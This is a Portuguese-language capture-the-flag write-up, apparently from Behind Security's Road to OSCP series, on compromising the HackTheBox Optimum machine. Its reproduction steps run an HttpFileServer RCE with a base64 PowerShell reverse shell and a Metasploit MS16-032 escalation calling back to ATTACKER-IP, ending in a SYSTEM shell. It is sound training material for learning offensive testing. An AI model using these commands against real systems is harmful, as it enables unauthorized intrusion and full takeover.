Documentação: Optimum CTF
Tabela de Conteúdos
ToggleDocumentação, em forma de relatório de teste de penetração, apresentada pela Behind Security, como parte da série Road to OSCP. O foco de hoje é o desafio Optimum CTF do HackTheBox.
Optimum CTF
O Optimum é uma máquina de nível iniciante que se concentra principalmente na enumeração de serviços com exploits conhecidos.
HackTheBox
O Hack The Box oferece a indivíduos, empresas e universidades as ferramentas de que precisam para melhorar continuamente suas capacidades de cibersegurança — tudo em um só lugar.
Resumo Executivo
Introdução
Este documento apresenta os resultados de uma avaliação de segurança realizada na máquina do Optimum CTF (IP: 10.10.10.8). O relatório fornece uma análise abrangente das descobertas, incluindo explicações sobre as vulnerabilidades, classificações de gravidade e etapas para reproduzir as vulnerabilidades identificadas.
Objetivo
A avaliação teve como objetivo identificar vulnerabilidades que poderiam potencialmente levar a acessos não autorizados, comprometimento de dados ou escalonamento de privilégios. Ao conduzir cenários controlados de exploração, a avaliação visou destacar o impacto dessas vulnerabilidades e fornecer recomendações acionáveis para remediação.
Requisitos
A avaliação foi conduzida com os seguintes requisitos em mente:
- Explorar vulnerabilidades para demonstrar impacto potencial.
- Avaliar a eficácia dos controles de acesso e mecanismos de autenticação.
- Demonstrar escalonamento de privilégios de nível de usuário para root.
- Fornecer explicações detalhadas das vulnerabilidades, classificações de gravidade e recomendações de remediação.
Resumo de Alto Nível
A avaliação revelou vulnerabilidades preocupantes na máquina Optimum:
- CVE-2014-6287 (RCE no HttpFileServer) - Gravidade: Alta
- Explicação: Vulnerabilidade de Execução Remota de Código (RCE) identificada na versão 2.3 do HttpFileServer.
- Recomendação: Atualizar para a versão mais recente do HttpFileServer para mitigar o risco.
- MS16-032 (Escalonamento de Privilégios) - Gravidade: Extrema
- Explicação: Vulnerabilidade de escalonamento de privilégios descoberta, permitindo potencial acesso não autorizado.
- Recomendação: Aplicar o patch fornecido pela Microsoft para corrigir essa vulnerabilidade crítica.
Este resumo de alto nível destaca as vulnerabilidades encontradas durante o teste de penetração, juntamente com seus níveis de gravidade respectivos. Isso enfatiza a importância de abordar e remediar prontamente essas vulnerabilidades para aprimorar a segurança geral do sistema.
Descobertas Detalhadas
Explicações detalhadas das vulnerabilidades, correções das vulnerabilidades, classificações de gravidade e etapas para reproduzir as vulnerabilidades identificadas estão documentadas na seção "Desafio Independente".
Metodologia
O teste de penetração da Behind Security seguiu uma metodologia abrangente e estruturada, incorporando as seguintes fases-chave:
Reconhecimento: A fase inicial envolveu a coleta de informações sobre portas abertas.
Enumeração: Nesta fase, a Behind Security conduziu uma enumeração detalhada do sistema-alvo, identificando serviços expostos, diretórios do servidor web e pontos de entrada potenciais para análise adicional.
Avaliação de Vulnerabilidades: Foram utilizadas ferramentas de escaneamento automatizado e técnicas manuais para identificar possíveis vulnerabilidades de segurança na aplicação web e na configuração do servidor.
Exploração: Vulnerabilidades que representavam riscos significativos foram exploradas ainda mais para verificar seu impacto na segurança do sistema.
Pós-Exploração: Na fase final, a Behind Security tentou escalar privilégios e obter acesso mais profundo ao sistema, simulando cenários de ataque do mundo real.
Legenda de Cores
Legenda de cores do console:
Texto padrão do console
Comandos inseridos pelo testador de penetração
Texto que queremos destacar
{...} Saída abreviada por questões de brevidade
Desafio Independente - 10.10.10.8
export IP=10.10.10.8
Enumeração de Serviços
Endereço IP | Portas Abertas |
---|---|
10.10.10.8 | TCP: 80 |
Comando: nmap -sC -sV -T4 -vv -p- 10.10.10.8
Acesso Inicial - HttpFileServer 2.3 RCE
Explicação da Vulnerabilidade: Identificada como CVE-2014-6287
, trata-se de uma vulnerabilidade de execução remota de código (RCE) na versão 2.3 do HttpFileServer.
Correção da Vulnerabilidade: O fornecedor lançou uma versão atualizada do HttpFileServer que corrige a vulnerabilidade de RCE. Atualize para a versão mais recente para mitigar o risco.
Gravidade: Alta
Passos para Reproduzir o Ataque:
- Baixe este exploit público.
- Acesse revshells.com, selecione PowerShell #3 (Base64), altere o endereço IP no topo para o seu endereço IP da VPN e copie o payload gerado.
- Execute o seguinte comando para obter um ponto de apoio na máquina (substitua a sequência após o
-e
pelo seu payload codificado em base64 respectivo do revshells.com):python3 49125.py 10.10.10.8 80 "powershell.exe -e JABjAGwAaQBlAG4AdAAgAD0AIABOA
{abreviado}
GwAbwBzAGUAKAApAA=="
Pós-Exploração
Elevação de Privilégios para SYSTEM
Explicação da Vulnerabilidade: Após gerar um executável malicioso do Windows para estabelecer uma sessão meterpreter na vítima, a Behind Security conseguiu identificar com sucesso, ao executar o windows exploit suggester (post/multi/recon/local_exploit_suggester
), que a máquina é vulnerável ao ms16-032
, uma vulnerabilidade de escalonamento de privilégios.
Correção da Vulnerabilidade: A Microsoft emitiu um patch para corrigir esse problema conhecido. Você pode obter mais informações sobre o patch e seus detalhes no site oficial da Microsoft.
Gravidade: Extrema
Passos para Reproduzir o Ataque: O atacante precisa ter uma sessão meterpreter na máquina.
- Coloque a sessão meterpreter em segundo plano usando o comando
bg
- Execute:
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
- As configurações e saída são fornecidas abaixo.
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > options
Module options (exploit/windows/local/ms16_032_secondary_logon_handle_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process,
none)
LHOST 192.168.1.10 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x86
View the full module info with the info, or info -d command.
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set LHOST ATTACKER-IP
LHOST => ATTACKER-IP
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set SESSION 2
SESSION => 2
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > run
[*] Started reverse TCP handler on ATTACKER-IP:4444
[+] Compressed size: 1160
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Users\kostas\AppData\Local\Temp\gfJYTJhM.ps1...
[*] Compressing script contents...
[+] Compressed size: 3745
[*] Executing exploit script...
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
[?] Done, using thread handle: 2380
[*] Sniffing out privileged impersonation token..
[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[ref] cannot be applied to a variable that does not exist.
At line:200 char:3
+ $iD6g = [Ntdll]::NtImpersonateThread($mgn, $mgn, [ref]$p8yG)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (p8yG:VariablePath) [], Runtim
eException
+ FullyQualifiedErrorId : NonExistingVariableReference
[!] NtImpersonateThread failed, exiting..
[+] Thread resumed!
[*] Sniffing out SYSTEM shell..
[>] Duplicating SYSTEM token
Cannot convert argument "ExistingTokenHandle", with value: "", for "DuplicateTo
ken" to type "System.IntPtr": "Cannot convert null to type "System.IntPtr"."
At line:259 char:2
+ $iD6g = [Advapi32]::DuplicateToken($iF, 2, [ref]$gYZ)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodException
+ FullyQualifiedErrorId : MethodArgumentConversionInvalidCastArgument
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!
iX7rWHCXEXxPf38Tph4mU5nNNfoW2lnc
[+] Executed on target machine.
[*] Sending stage (175686 bytes) to 10.10.10.8
[*] Meterpreter session 3 opened (ATTACKER-IP:4444 -> 10.10.10.8:49210) at 2023-08-12 11:13:08 -0400
[+] Deleted C:\Users\kostas\AppData\Local\Temp\gfJYTJhM.ps1
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeLockMemoryPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTcbPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
meterpreter > getsystem
[-] Already running as SYSTEM
Conclusão
Esperamos que você tenha achado nosso conteúdo útil e convidamos você a explorar mais nosso site para descobrir outros tópicos interessantes que cobrimos. Desde cibersegurança até programação, nos esforçamos para oferecer aos nossos leitores as informações mais recentes e relevantes que podem ajudá-los a se manter informados e à frente do mercado. Estamos comprometidos em fornecer a melhor experiência ao usuário e estamos abertos a feedback e sugestões por meio do nosso formulário de contato. Obrigado por escolher a Behind Security, esperamos vê-lo novamente em breve!
BEHIND SECURITY
A Behind Security é uma plataforma online dedicada a fornecer artigos informativos sobre cibersegurança, privacidade e programação.